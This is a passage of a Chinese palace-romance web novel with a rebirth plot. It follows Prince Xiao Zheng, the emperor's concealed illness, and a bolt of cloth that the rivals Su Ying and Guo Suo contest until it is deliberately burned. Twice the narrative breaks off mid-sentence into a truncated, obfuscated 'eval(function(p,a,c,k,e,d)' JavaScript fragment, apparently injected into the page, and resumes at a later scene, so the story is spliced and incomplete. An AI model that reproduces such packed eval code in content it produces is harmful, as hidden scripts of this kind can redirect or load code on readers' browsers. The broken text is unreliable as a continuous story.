他把折扇一扣，合手拜道：“小王爷，你缺不缺妹夫?内兄若不嫌弃，我即刻进宫求娶郡主——别说她有再多的毛病，她就算是个傻子，我天天放家里看着心里头都高兴！” 说罢，又吟诵出些“常羡人间琢玉郎，天应乞与点酥娘”等话。 萧征全当他说疯话，自己回头偷眼一瞥，也跟着心神一颤。这分明是一朵含苞待放的盛世牡丹。 前世，这朵花本该灿然怒放时，因他而面目全非；枯萎凋零时，他又无力挽回。 苏萦前生，因我不幸，今朝重生，我一定为她寻一个天底下最好的归宿，保她一生喜乐平安。 他握紧拳头，心中默默立誓。 许长眉还在他耳边锲而不舍地聒噪。 “小王爷，说说嘛，能娶你妹妹的人家，需要什么条件啊？” 萧征认真地沉吟片刻，幽幽答道：“顶好是没有公婆。” 许长眉一缩脖子，见了鬼一样瞪着他，见他神态自若一脸无辜，不像玩笑，不禁笑骂道：“可是人言？别人家都求家族强盛兴旺，你倒求个身世凄苦的孤儿做妹夫…” “凄苦也不行。”萧征煞有介事地补充道：“我妹妹从没受过穷，夫家品阶一定要够高，不然撑不起她挥金如土的生活；她零零碎碎的东西多，院子一定要够大；她粘人又爱使小性子，她若嫁过去我定不许她丈夫纳妾；实在是想不出她做母亲的样子，想必她是做不好的，那就不用她生，她丈夫要想延续香火，到时候我替他掌眼从宗室里过继一个给她养着玩玩便罢了。” 萧征一口气说完，许长眉听得呆若木鸡，倒抽一口凉气惊叹道：“那，那令妹只好上天嫁玉帝了！” 灰溜溜地跟着萧征下了两层楼，许长眉苦着脸不甘心地小声嗫嚅：“可是，可是，我还是好喜欢你妹妹…” “你若还不死心，本王把这事替你传扬出去。”萧征眸色一沉，假意威胁道：“到时候全京城尽知，你许家公子觊觎皇室贵女，轻嘴薄舌，放浪形骸——” “岂敢岂敢！”许长眉的脑袋摇的像拨浪鼓，忙又是打拱又是作揖：“小王爷，我家还有八妹妹没出嫁，我可不敢这时候坏了许家的名声！” 萧征见他老实下来，满意地在心中轻笑一声。 两人才从畅音阁上踱下来，袁鸣急匆匆地找了过来，才跑到面前，气还没喘匀就急着禀告萧征：“殿下，众皇子都往养心殿去呐，说陛下晕倒了！” 14. 布料 宫里传说，陛下吐黑血了，陛下晕过去了。 宫里又传说，陛下没一会儿又醒了，醒来之后头一件事，就是把围在床前的八个儿子痛骂了一顿。 “老子还能活！犯不着你们一个个装模作样的来当孝子，巴望着坐你们老子的位子！”药碗翻倒在地上，老皇帝赤脚端坐在床边，把跪了一地的儿子们指着鼻子骂了一大通。 儿子们都蔫头蔫脑地黑着脸低着头不敢吭声，只有萧庆抬起头来笑了。 “爹，您真把儿子吓坏了！” “怕什么？”老皇帝刻意拔高声调，眼风凌厉地扫过底下几个年长儿子各异的神色，“你和你十七哥还没成家立业，朕可不敢死！行了，都给朕滚出去，看着你们这帮小子就心烦！” 众皇子依言退出寝殿。八皇子萧祚的嘴角几不可察地撇了一下，心中暗忖：还能骂人，看来老头子这次又是虚惊一场。他追上走在最前的晋王萧谅，两人交换了一个心照不宣的眼神。萧谅回头朝寝殿内一瞥，眼中闪过一瞬的惋惜与不甘。 唯有萧征，沉默地跟在最后。 他清晰地记得，前世父皇也是这样，在第一次昏厥苏醒后，强撑着精神将他们所有人痛斥出门，表现得镇定自若。他当时也和兄弟们一样不疑有他，还傻傻地觉得庆幸，直到父皇不久后猝然暴毙。 而这一次，他看得分明。父皇骂人时，那撑在床沿的手，指节因用力而泛白，微微颤抖；那看似红润的脸色下，是极力压抑痛苦的扭曲；还有那骂声，听着洪亮，尾音却掺杂着中气不足的嘶哑。 父皇在演戏。用他最后的帝王威仪，演一出“朕躬安”的戏，为了麻痹那些虎视眈眈、已迫不及待的儿子，尤其是三哥。 寝殿内，只剩步皇后与太医，扶着力竭的萧弘德躺下来。 猝不及防，又是一口血呕出来。 “陛下！”步皇后连拿手帕也来不及，急惶惶地用手心接在他口鼻下方。 太医连忙把脉施针，又是一通忙乱。 别告诉他们，别让他们再回来了。再次失去意识之前，他还记得叮嘱皇后这一句话。 再清醒已是黄昏，五脏六腑都沉甸甸地向下坠着。 他微微睁开眼，扫视过碧纱橱内陪侍的人。 太医欲言又止的神色，皇后偷偷哭过的眼尾，让这位曾经叱咤风云的帝王，心中忽然涌上一种凄凉之感。 他怕了。 终于到了这一天，他要为他的身后事谋划了。 “回去吧卿曼，回去好好歇歇。”他向他的爱妻宽慰地一笑：“朕不会有事的。” 步皇后才离开寝殿，他便招呼最信任的内侍到身前来： “密召魏国公乔望津与嘉裕侯苏予夺即刻入宫见驾。” “让嘉裕侯快马加鞭。七日之内，朕要他站在朕的面前。” 他真不愿见苏予夺。 此人出身不正，是安国叛臣之后；行止不端，年轻时便不务正业，做生意做的比做官还热闹；如今也还是汲汲营营，一身洗不掉的商贾习气。最可恨的是，当年竟敢横刀夺爱，抢走了他内定的继后人选。 他嫌恶他，却又不得不用他。 若是没有他，亏空的国库让谁来填呢。 萧征在宫外奔波了一天，此时又回到父皇的寝殿附近徘徊。寝殿内灯火通明，父皇想必还未安歇。他紧盯着人影幢幢的窗纸，心急如焚。 他清晰地记得，北漠有一种神药，可暂缓父皇病症，此药虽不能根治，却能固本培元，足以给他多一些时日去寻医问药，将父皇病症的根源探查清楚了。 前世，这药是郭娑给的。那时两人共同从安国军营回到朔州，早已暗生情愫，郭娑聪明大胆，听明病症便主动献药，父皇服下身体通泰，还大大的嘉奖了他们一番。 郭娑此次入朔，极有可能依然随身带了一颗以备不时之需。 可是当下，两人只不过是在宫宴上匆匆一面的陌生人。他今日主动试探萧谅，想和他一同回王府去拜会嫂嫂，可萧谅推说军中事忙，草草回绝了他。 他一介男子，总不能擅闯王府去求见女眷，事情传扬出去，他和郭娑的名声就完了。这一世，他绝不能再与郭娑有所牵扯。 惶惶然间，他忽地想起苏萦来。苏萦是女孩子，正巧这一世阴差阳错，倒与郭娑交好。她约郭娑入宫游玩，尽地主之谊，合情合理。想罢，他回自己住处取了那匹衣料，便匆匆往赏明宫去。 暮色沉沉，各宫里已陆续掌上灯。微弱的灯火依稀照亮夹道上那个步履匆匆的少年面上的焦急。 北漠王女的名声保住了，华容郡主的闺誉呢？叩响宫门时他才猛然想到这一遭，只局促地把衣料盒子递了应门的人。 萧征啊萧征，你还当自己真是个毛头小子？他盯着掩上的门板发了一会儿愣，摇头苦笑：真是忙中出错。 “雀头，你当真看清了，就他一个人？也没捎什么话？”赏明宫内，苏萦坐在榻上，将那匹料子展开抚弄着。 “千真万确！郡主，奴才要敢骗您，就让奴才——” “诶诶，前几日我的话都白交代你们了！朱樱。” 苏萦一偏头，朱樱就走过去，朝宗雀头嘴上轻轻打了两下，笑着恐吓他：“看你还敢说！” “是是，”宗雀头自己也笑嘻嘻地作势磕了两个头：“做奴才也要记得避谶，不能成天里赌咒发誓的。” “那他是什么意思呢？”苏萦蹙着小眉头，又把料子凑到鼻前嗅嗅：“大晚上的亲自送一匹布过来，总得有个由头吧？” “郡主，我找到了！”苕荣三步两步跳进屋来：“侯爷之前送来的南濮国衣饰纹样图册，都压箱底了，叫我好找。” 图册摊在桌上，几个姑娘的脑袋挤在一起，照着一旁的料子比对着。 不多一会儿，苏萦和蜜合的嘴角依次挂上了神秘的微笑。 “这儿呢！”朱樱最粗枝大叶，找的最慢，好不容易瞧见了，忙把手指头戳到图上：“郡主，这是婚服呀！” 三个姑娘全抬眼屏息，观察着苏萦面上的神色。 苏萦先还抿着唇绷着，目光顽皮地在她们三个脸上转了个圈，终于憋不住“噗嗤”笑了，双颊飞上两朵红云：“好了好了，都盯着我干嘛！” “哎哟，郡主！殿下好心急哟！”姑娘们笑闹着拍手起哄。 “收起来收起来。”苏萦站起身来，用手背覆上滚烫的面颊。布料卷好收回盒子里，脸上的笑容却怎么收也收不住，还硬绷着放狠话：“他急，我可不急啊！必须等我的及笄礼过了，不许把我的大日子抢了先。” 次日，萧征前往步皇后处请安。母亲一向是聪慧敏锐的，什么事都瞒不过母亲的眼去。他知道，只要他肯开口，母亲定能帮他想出办法。 进得房中，萧征却一眼瞥见他昨晚送到赏明宫的衣料，正明晃晃摆在母亲面前的矮几上。 步皇后一见他茫然疑惑的表情，忍俊不禁地揶揄道：“不知是谁，昨儿大夜里得了块好料子，今儿一大早，就拿到本宫这儿来炫耀了。这纹样是稀罕，本宫也没见过，说留下来看几天。那丫头也爽快，放在这儿走的时候，还笑呵呵的。永宁王，有人特别领你的情呢。” “母后…”萧征不知从何解释，只好尴尬地摸了摸后脑。 “娘娘，北漠王女郭娑求见。”翠雀进房来报：“要请她进来吗？” 步皇后拒绝的话才到嘴边，忽然瞥到萧征表情异样，朝翠雀的方向迅速地看了一眼。 “让她进来。”步皇后虽对着翠雀说话，两眼却盯着心神不宁的儿子。那日宫宴上，目睹两人交谈的，可不止十五公主一人。 萧征浑然不知步皇后的心思，只觉此举正中他下怀。 郭娑着一身蓝衣裙，娉娉婷婷走进来向步皇后行礼请安，一眼瞧见萧征，也立刻掩饰住惊讶，礼数周全地再拜道：“见过永宁王。” 三人落座，故人在侧，萧征只觉如坐针毡，可这机遇千载难寻，无论如何要想办法将话题引到那北漠神药上。 “昨日听姑父回府提及，陛下龙体欠安？”郭娑的语气带着恰到好处的关切与纯善：“娑儿听了，心中实在难安。” “郭姑娘是北漠人，不知对北漠的医术药物了解多少？”萧征装作随口一提的样子，又转向步皇后：“母后，儿臣在边关时曾听闻，北漠有一味名为‘阿敏额日敦’的奇药，若是热病伴心神不安、甚者伴癫狂昏迷，服此药有奇效。若能求得此药，或可为父皇延请名医、细致调养争 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郭娑脸上适时地泛起一丝羞赧的红晕：“皇后娘娘厚爱，娑儿愧不敢当。只是……娑儿确有一不情之请。”她声音更柔，带着少女的恳切，“娑儿见此布料纹样奇特，心向往之。我们北漠苦寒，女红技艺粗陋，不知能否恳请娘娘恩准，将此料借予娑儿观摩几日？娑儿定当小心保管，绝不损坏。也好将来将些新样子带回北漠，造福乡梓。”她说着，还不着痕迹地轻瞥了萧征一眼，暗中观察着他的态度。 糟了。萧征的心猛地一沉。与父皇的救命药比起来，一块布料显得多么无足轻重，就算是送她也绝没有什么。更何况，郭娑的姿态放得如此之低，理由又如此正当，若连这点要求都不应允，反倒显得大朔皇室小气，寒了北漠主动献药的心。可这偏是他昨日已送给苏萦的，才听母后说起，苏萦得了这礼物，是多么欣喜又珍爱。 前世因他在两人之间摇摆不定，惹出多少祸事来，他无论如何不愿再经历一遍。思及此处，他硬着头皮，突兀地张口阻拦：“母后，这布料……” 步皇后将郭娑的试探与萧征的挣扎尽收眼底。 不等萧征说完，她便笑着替他应承下来，语气中带着不容置疑的决断：“本宫当是什么大事呢。不过是一匹料子，郡主既有心求学，拿去观摩便是。翠雀，帮郡主把料子包起来。” “娑儿多谢皇后娘娘恩典。”郭娑脸上顿时绽放出明媚而感激的笑容，深深下拜：“娑儿这便回去准备，尽快将药呈送宫中。” “只不过，”皇后话锋一转：“这本是永宁王出门在外时，为华容郡主采买的，本宫也不过是拿来观摩观摩。郡主既与华容交好，到时直接交还给华容就好。” “…是。” 郭娑的笑容僵了一瞬，偷眼瞥向萧征，却看不透他的神色。 小心翼翼地捧着盒子的那双手，突然攥紧了些。转身时，她眼底闪过一丝得逞的快意。 华容？到了我手上，哪还有还回去的道理。 萧征站在原地，看着郭娑离去时轻快的背影，袖中的拳头悄然握紧。虽得到了急需的药，却又怅然若失，一阵说不清道不明的不安，缓缓涌上心头。 两人相继离开，翠雀也服侍步皇后更衣，往皇帝寝殿去。 “没想到这郭姑娘，竟喜欢研究女红刺绣，真是好学。”翠雀随口说道。 步皇后却冷哼一声。 “她是北漠王女，什么细致纹样没见过？她要的不是布，是人。” 翠雀这才醒觉：“人？那…” “未晚从小到大，顺顺当当，一点儿风浪都没经历过。可是将来，她为人妻子，为人母亲，不可能还都是这么顺顺当当的。趁我还在，还能教她的时候，学学也好。” 步皇后坐在妆台前，翠雀取过首饰盒子让她挑选，她拣了一根十分素净的玉簪，由翠雀为她重新绾发。 “从小到大，她要什么东西没有？”步皇后摩挲着一枚凤钗上镶嵌的珠宝，轻轻叹息：“什么都是尽够她的。多的用不完，下人拿了她也装没看见。她太大方，太慷慨了。可有些东西，譬如男人，你得提防着别人来抢你的，得牢牢地攥在自己手里。” “男人这东西啊，哪怕是自己生出来的，也还是让人琢磨不透。” 步皇后簌地抬眼，目光坚定地看向铜镜中自己的面庞：“我倒要瞧瞧这小子定力如何。将来，究竟能不能让我放心地把未晚交到他手上。” 15. 交锋 三日后，郭娑受十四公主珉雪书信相邀，前往宫中小聚。虽是珉雪做东，可她住处庭院实在窄小，待客不大相宜，因此地点还是选在苏萦的赏明宫。 宝冉抱着见面礼，随郭娑行至赏明宫门前，主仆两个心里都有些忐忑不安。 “郭姐姐！”苏萦迎出门来，兴高采烈地拉住郭娑的手：“我正叫人去接你呢。我这地方偏僻，怕你不好找。” 这自然是谦词。郭娑打量着她这住处，偏僻怕是唯一可说的缺点。 郭娑听姑母说，赏明宫原是大朔皇帝为自己的九叔，九贤王萧觉明赐居的宫殿。九贤王其人，传说神通广大，可未卜先知。他在世时，萧弘德对他言听计从，他去世后，又依他遗命，把嘉裕侯的独生女儿接到赏明宫内，养在皇后名下。 赏明宫位于御花园以西，与近日才落成的畅音阁相去不远，又与后妃们的东西六宫保持一定距离，从内廷西街一路向南，不远就依次到了皇后的玉栖宫和陛下的养心殿。 在这寸土寸金的皇城里，一座二进的小院里只住一位小主子，可以算得上十分舒适静谧了。 郭娑见苏萦容色如常，挽着她的胳膊往院里走，似乎把那匹料子的事忘的一干二净，便和宝冉偷换了一个眼神。 十四公主珉雪热络地迎上来，从另一边挽住郭娑。 “好妹妹，你怎么才来？快坐！”珉雪将她让到桌前石凳上坐了，桌上还摆着一盘未赛完的双陆。 “郡主，这是我十五妹妹，雨酥。” 另有一个姑娘本坐在对面，也站起来微笑着见礼。 “不介绍介绍我？”苏萦站在珉雪身侧，又随手朝棋盘中掷了次骰子，笑嘻嘻地朝珉雪做个鬼脸：“我与郭姐姐认识可比你早多了！” 众姐妹都落了座，郭娑的目光有意无意地扫过两个公主的面庞。虽是同父所出，倒毫不相像。珉雪瘦削，上半张脸极美，一双美眸炯炯有神，鼻梁精致高挺，只下半张脸猝然收束，一个伶仃的尖下巴往回牵着。两瓣唇无处安置，挤的极小极薄，嘴角稍向下耷拉着。幼仪丰腴，一张玉盘脸才显得有几分宝气。若少了这腮间二两肉，本是个薄眼皮细鼻梁，五官就嫌有些太素淡了。 珉雪让侍女捧出从她嫂嫂家乡寄来的西厦四宝：枸杞、甘草、贺兰石和二毛皮。兀自兴冲冲地边介绍边添油加醋地夸赞了一番。雨酥偷眼看苏萦，知道她见过的好东西多，珉雪这些东西定然是瞧不上的，没想到苏萦今日竟耐心听着，没有像往常一样打趣讥讽珉雪。 郭娑看着眼前雪白的二毛皮，微微地有些紧张，担心苏萦想起她借的衣料来。苏萦倒成了一桌里最神态自若的，捻捻二毛皮纤薄轻巧的底皮，又掂起贺兰石来看了看，用手指比量了两下，对珉雪说：“这块倒可以雕两个孔雀。” “你想雕什么都行！”珉雪也难得慷慨：“那这块就送给妹妹了！” 侍女端上泡好的枸杞甘草茶来，姑娘们饮茶谈天，珉雪对郭娑十分巴结，毛遂自荐道：“郡主，我这些兄弟侄儿，郡主若是有中意的，我来为郡主引荐。我听说，郡主家乡遍地都是玛瑙石，捡都捡不完，可是真的吗？” “珉雪公主，那都是民间传说，当不得真的。”郭娑苦笑着解释。 “在珉雪姐姐心里，出了大朔，满地都是玛瑙石，珊瑚，珍珠…外头的路都是金子铺的。”苏萦终于忍不住接口：“只要是别国来的人啊物件啊吃食啊，在姐姐眼里，都一定比大朔的强百倍。珉雪姐姐，你将来可一定让陛下把你嫁出大朔，嫁到天边上去啊！”说罢，苏萦顽皮地朝郭娑一抬下巴：“郭娑姐姐，你说把她嫁到哪里好？嫁到南洋的猴子岛上去怎么样？” “哥，你听她们笑的，咱们去看看，看她们在玩什么呢？”萧庆正与萧征一同往步皇后处去，经过赏明宫外，听得院中少女们笑闹得正欢，拽着萧征就往院子里跑。 一道倩影一闪到了萧征背后，苏萦笑得面红耳赤，扯着萧征的后衣襟求救：“有还哥哥救我！” 他不知怎么了，身上被她的手指触过的地方一片痒痒酥酥，她人在身后，挨得那样近，他就像被施了定身咒，僵硬在原地不能动弹，只好强装着镇定，还朝着气焰汹汹的珉雪挤出一个礼貌的微笑来。 殊不知，身后的姑娘红透了的耳根也不全是笑出来的。 “你这小蹄子，害我腰都闪了！”珉雪气喘吁吁地骂。 “我的脚也还疼呢！”苏萦从萧征背后探出半个脑袋来，咯咯地笑。 “才碰伤了脚尖就急着去打秋千，不疼才怪了。”萧征忍不住揶揄。 “…你怎么知道？”苏萦一愣，羞涩地丢开他的衣角。 “你干什么我不知道？我就是远远的在军中，你在宫里撒野疯闹我也通通算得到。又闯什么祸了？把十四姐气得这样。” 他回头看苏萦，苏萦低着头红着脸，鼓着嘴巴不应声。 “十四姐，今日看在我的面子上，不要跟华容一般见识了。”萧征见苏萦这样，猜到定是她先呛人家，气得人家跳脚。赔着笑脸替她求情。 前世年轻的时候，最厌烦她口不择言，如今看着这顽皮又尖锐的少女，却怎么也讨厌不起来。 珉雪哼了一声，一耸肩道：“十七弟的面子向来是金贵的。今日若不是十七弟求情，我可不饶你。” 苏萦偷偷抬眼朝珉雪做鬼脸。 “十五姐姐也在。”他上前招呼，却瞥见一个始料未及的人： “…郭娑郡主。” “永宁王殿下。” “让郡主见笑了。” “怎么会。我在家中时没有姐妹，很是冷清。如今来到大朔，看姐妹们欢笑打闹，我打心眼里喜欢羡慕呢。” 没有姐妹，那郭窈？萧征心中一闪念。 她前世的时候，也先是如此隐瞒。若细究起来，她骗他的地方还真多呀。 他心中苦笑一声，转过身去。 “姐姐们，明日我母亲生辰宴，还请诸位姐姐早点到，陪陪我母亲。” “那是自然，十七弟放心。”珉雪雨酥都点头应承。 “诶，我的贺兰石！”珉雪猛地想起来：“华容，你房里不是有个会篆刻的丫头吗？能不能托你的丫头今晚赶个砚台出来，给皇后娘娘添礼？” “你才还追着打我呢，我不帮你的忙。”苏萦又朝后一闪，得意地坏笑。 “臭丫头，你帮不帮！” 两人又围着石桌闹起来，萧征萧庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏萦抬手靠近唇边，眼珠一转，盯住了郭娑，仿佛想到了一个绝妙的主意，语气又轻快起来：“对了姐姐，既然这匹料子能推进北漠女红发展，那它就不是一匹普通的料子了，是促进两国关系、立了功的功臣。等我这匹立了功的料子回来，我也给它办一场凯旋宴。” “姐姐，就这么办吧！正好姐姐的小轿来了。”苏萦笑得明媚，不容分说，扶着郭娑走到轿前。宝冉错愕地将手上的东西递到两个小宫人手上，不记得她们什么时候要了轿子。轿夫们扶郭娑上轿，蜜合轻车熟路地去给了赏钱。 “姐姐爱吃什么，可提前捎信来知会我！”起轿后，苏萦抬起头来挥着手朝郭娑扬声道：“我好提前让小厨房准备。赏明宫的厨娘厨艺很不错，我听旁人私下里点评，说照御膳房都强些呢！” 小轿远去，朱樱和苕荣从门里钻出来。 “郡主，咱们真要单请她一次啊？那我可让孙姑姑备菜了？”朱樱好奇地问。 “她不是个蠢人。”苏萦一直提着的嘴角“吧嗒”掉了下来，只觉笑得脸都酸了。目送着小轿在拐角处消失，苏萦的声调终于冷下来：“明天，她会带着料子一起来的。” 16. “若郭娑刚在你面前诋毁我，我只解释一句。” 好容易挨到宫门口，下轿上了晋王府的马车，郭娑简直气得脸都要歪了。 “郡主，她太过分了！郡主给大朔皇帝送了救命药，这一点小事她如此计较！”宝冉简直比郭娑还要愤愤：“郡主，我们回去告诉晋王妃吧！” “姑姑那样子，看起来是能为我撑腰的吗？”郭娑听她提起晋王妃，不屑地冷哼一声。 “明日宫宴，郡主去皇后面前告她一状。郡主聪慧，一定知道怎么不着痕迹地让皇后娘娘知道。” 郭娑不可置信地抬起眼打量着宝冉的脸，眼神中简直有几分讥讽：“你难道看不出来，她这作派是步皇后一手教出来的吗？” 傲慢刻薄，居高临下。老的小的如出一辙。 郭娑真是一肚子火气无处撒。 宝冉冥思苦想，忽地灵光一闪：“我们告诉永宁王！郡主，咱们都看出来了，华容郡主最紧张永宁王，一定时时刻刻想着给他留好印象…” 她这话说的有点心虚。华容郡主如此，她家主子又何尝不是呢？若没那永宁王，也不至于惹出这场是非来。 郭娑倒没有再反驳她。只是静静地坐着思考了一会儿，脸上挂起一个讳莫如深的笑容。 萧弘德大病初愈，本该安心调养，却偏要在今年张罗着给皇后办寿宴，把在京的儿子们全叫进宫来给他们母后贺寿，他自己也要参加。 “这年纪办什么寿宴呢？”独自坐在玉栖宫妆台前时，步皇后苦笑着抱怨：“三十八岁。太难听了！” 她这些年保养的好，还是个美妇人模样，怎么看也不像该做寿的年纪。 “翠雀，”她簌地黯然下来，盯着镜中的自己低声叹息：“这是我在大朔过的第二十六个生辰了。” 她永远记得她来大朔过的第一个生辰。 大朔与草原的交界线上，再往前一步，就看不到漫无边际的，绿油油的草场了。星夜下，篝火旁，那对比她年长些的，让她莫名觉得可以信任，可以倚仗的男女，现在想来，也不过是像萧征那么大的年纪。 “阿曼，你许个愿望吧！”那男孩子雀跃地提议。 “我希望…”她自己的声音穿过二十六年的时光，仿佛依然响在耳边。 少女双手捧着一碗热气腾腾的马奶酒，仰头望着高远的天空：“我希望长生天做我的见证，见证我亲手杀光自己的仇人。”少女的话音微弱而坚定：“所有害我阿爸身死，害我沦落至此的人……一个我都不会放过。” “好！”那男孩子激动地站起身来，对着星夜由衷地为她叫好：“臣苏予夺，愿助阿曼公主实现愿望！” “阿曼，”那女孩子就稳重多了，转过脸来轻轻拍拍她的肩，很认真地望进她眼里：“若有什么用得上的，也一定要和姐姐说。” 一望无际的草场已在背后，挡在她和完全陌生的异国面前的，只余这对勇敢又善良的男女。 她望着他们两人，在心中默念。 伟大的长生天啊，请你庇佑阿曼，再许我多一个愿望。 让予夺哥哥和望舒姐姐，可以顺顺当当，长长久久。 “娘娘，嘉裕侯给娘娘的生辰纲才送到了，这是礼单。”门口有下人来报。 翠雀去门口接了礼单，呈给她过目。 “又正赶上前一天？这个嘉裕侯，倒是从不出岔子。”她接过粗略地扫了一眼，微笑着抬眼，望向窗外皎洁的月。 长生天啊，您是听见我的愿望了吧。 遵大朔皇帝旨意，在京的皇子们纷纷携家眷入宫，为皇后庆寿。 萧弘德的儿女中，倒有十几个比她的年龄大，真吓死人。那些皇子家眷们，不像儿媳，倒像长姐，步皇后不愿意她们陪着，两边尴尬。她们当然也不过是来走个过场，没有刻意过来巴结，想与她深交的。都知道她的为人，巴结也是白巴结，倒闹得自己没脸，先前的晋王妃就是活生生的例子。 被妯娌们背地里取笑的可以，与皇后交好却不是一件能浅尝辄止的事。晋王妃的肚子又大了些，简直让人怀疑她的裙下扣着一口铁锅。由两个侍女扶着好不容易到了玉栖宫，给步皇后请了安再到太师椅上坐定，已是出了一身大汗，把衣衫都浸透了。 秋冬交替之时，下一场秋雨，房中就照一般晴好的天气要阴冷许多。上午才下过一场雨，宫人们在院子里紧忙着打扫吹落的枯叶，正殿中也添了个小火盆，盆中毕毕剥剥烧着柏树枝条。 步皇后见晋王妃满头满脸的热汗，在这热烘烘的房中待不住，赶忙让她去偏殿换一身干爽衣裳，然后陪着她到院里走走。 晋王妃求之不得，忙起身离席。 郭娑被剩在房中，欲言欲止许多次，未等她鼓足勇气与皇后寒暄，苏萦欢快地跑了进来，向步皇后递上一个锦盒：“母后生辰吉乐！” 步皇后接过，看也不看，就随手撂在榻上矮几上，随即起身：“本宫去看看晋王妃如何了？她这一胎怀的辛苦，难为她跑一趟。”她的目光波澜不惊地扫过苏萦和郭娑：“未晚，这不是你的小姐妹吗？你们就留在这里说一会儿话吧。”言罢，带着翠雀扬长而去。 步皇后早瞧见，宝冉手上抱的就是那天自己替苏萦借出的那匹料子。东西既在这里，能不能痛痛快快地还来又另当别论。走到偏殿门前一回头，见萧征急匆匆地往主殿去了，想必是去给她贺寿的。虽叫他扑了个空，却有两位姑娘正等着他呢。 今晚的节目不算太差嘛。步皇后玩味一笑。 至少有这一出好戏可以看。 未晚，可别给母后演砸咯。 萧征一脚才踏进主殿，待看清了房里的两位姑娘，抽回那只迈的太快的脚已经来不及了。 “未晚，郭娑郡主。你们怎么在这儿？母后呢？”萧征硬着头皮走进房中。 “晋王妃好像不太舒服，母后陪她去了。”苏萦坐得与郭娑隔着老远，两人气氛微妙。 这微妙的气氛他上辈子太熟悉了。浑身的每个毛孔都在叫嚣着：“快逃！” “既如此，我与众兄弟一起先去看望父皇。”萧征随便找个由头就要先走，临转身瞥见房间正中放着的火盆，疑惑道：“一会儿陛下就要来了，这火盆怎么还放着？”朝门口的内侍示意：“进来把火灭了，端到后面去。” 房中放火盆，是萧弘德的大忌。二十五年前，先皇后和先太子被活活烧死在赤霞宫内，从此宫中不准见明火，取暖只能用地龙和汤婆子。灯罩全是密实防风的，灯座一周皆嵌上一圈水槽。 更何况，玉栖宫正是在烧毁的赤霞宫遗迹上重新修建的皇后寝宫。平日陛下降临之前，宫中都如临大敌地仔细自查一番，不知今日为何出了这样大的纰漏。 萧征亲眼看着一个小内侍走进房中灭火，才走出房门，苏萦也急着跟了出去：“有还哥哥，我有事要跟你说！” 郭娑和宝冉交换了一个眼神。 “这位小公公，”宝冉上前和颜悦色地开口：“可否把这火盆多放一会儿？我家主子才来的路上不慎踏着水坑，湿了鞋袜，借这火盆烘干，一会儿好去赴宴。陛下降临前，一定叫你进来收走。” 小内侍是新来的，宫里的事样样懵懂，今日人手不够，才抽调他上来待会儿照应着没人的空屋子。师傅随侍皇后娘娘，不在身边，皇后娘娘的座上宾他是万不敢拒绝的，只好点点头停了手，驯顺地退了下去。 四下里无人，宝冉一把把那长条盒子丢进火盆中。盆中的火星跳到锦盒上，火苗贪婪地吞噬盒上的衬布。屏息等着门口脚步声传来，主仆俩才同时动作起来。宝冉用脚尖挑开长地毯的边角，装作绊倒，一个趔趄朝火盆摔去。 “宝冉！你这蠢丫头！”郭娑尖叫起来，冲到桌前抓过茶壶企图用茶水扑灭火盆上熊熊燃烧的火焰。 苏萦走进房间，看到的就是这一幕。“被绊倒脱手”的宝冉，急忙爬起来到火盆前抢救盒子，徒手把盒子从火里捞了出来，抓了一手滚烫的灰，烫得轻声尖叫了一声。盒子被丢在地上，一角燎的焦黑，冒着白烟。 “华容妹妹，真是抱歉，都怪我——”郭娑没来得及去看宝冉的伤势，先满脸懊恼愧疚地向苏萦迎过来。 她们演这一出闹剧，苏萦一丁点儿也没相信。 “郭娑！”苏萦气得双目圆睁，怒不可遏地大喊道：“你敢烧我的东西！” “陛下到！”门前的一声宣，十万火急地叫停了两人的交锋。要命的火盆还明晃晃地摆在房间正中央，陛下轿辇前的金提炉已到院门口。 “马上端下去！”苏萦朝门口吓傻了的小内侍低声喝道：“要是让陛下看见，你性命都难保了！” 蜜合扯了那小内侍一把，他这才醒过神来，冲进房中，急中生勇，把火盆往自己怀里一裹，猫着腰飞跑出去。 房中几人震恐地目送着他远去的背影，心中都为他捏一把汗。 趁步皇后到门前迎接陛下，众人忙着开窗驱散烟气，燎焦的盒子也被蜜合抱了出去，防止在房中散发焦煳味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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前世他与苏萦共度半生，再恶毒的事她也做过不少，不能因为他满心报恩，就忘了她嚣张跋扈的本性。 一念至此，心中便对郭娑信了六七成。 “郡主，这件事，我会找华容问清楚。”他严肃又诚恳地望向郭娑：“若她真这般恶劣，我一定让母后惩戒她，定会给郡主一个公允的答复。” 萧征掩住心中的怀疑与恼怒，转身朝苏萦的席位走过去。这丫头平日一定拉着姐妹同坐，如在学堂一般叽叽喳喳地说小话，今天只自己孤零零地坐在角落，桌上的饭菜也几乎没怎么动过。 “未晚。”他走到她面前轻唤。 苏萦抬起头来。就在看到他的一瞬间，一双满含委屈的杏眼如蚌壳开闭，两颗珍珠般又大又圆的泪珠霎时滚落，只抬起一只胳膊来朝郭娑方向一指，鼻音浓重地哼出一个“她——”便哽咽得再也说不出话。 见她气得桃腮鼓鼓，哭得梨花带雨，红润润的樱桃唇瓣抿成一条缝，从前哪有这样的时候？他看惯了她大吵大闹的，今日这般受气包模样，倒像是受了天大的委屈。他的心瞬间化了一滩水，什么质问，批评，说教，全丢到爪哇国去。 还是个小孩子呢，知道什么呀？就算真是她的错，哪有小孩子不犯错的？ “好了，好了未晚。”他慌忙在她面前低下身子：“这是母后的寿宴，还有好多人看着呢，不哭了，不哭了好不好？” “那是，那是你送我的…”苏萦低下头去，连串的泪珠顺着下巴滴落，肩膀随着抽噎一耸一耸地起伏。 “哥哥再给你买。”他匆忙从怀里掏出手绢递给她：“你说买多少匹都行，等陛下病好了，哥哥带你去南濮，让你自己亲自选，好不好？” 本等着看热闹的郭娑主仆二人看呆了，简直僵成两座石像。 步皇后坐在上首，此时也看得啼笑皆非。 这丫头，用的是这招？ 可是将来经年累月，总有色衰而爱驰之时，这毕竟不是长久之计啊。 她不着痕迹地苦笑着摇了摇头。 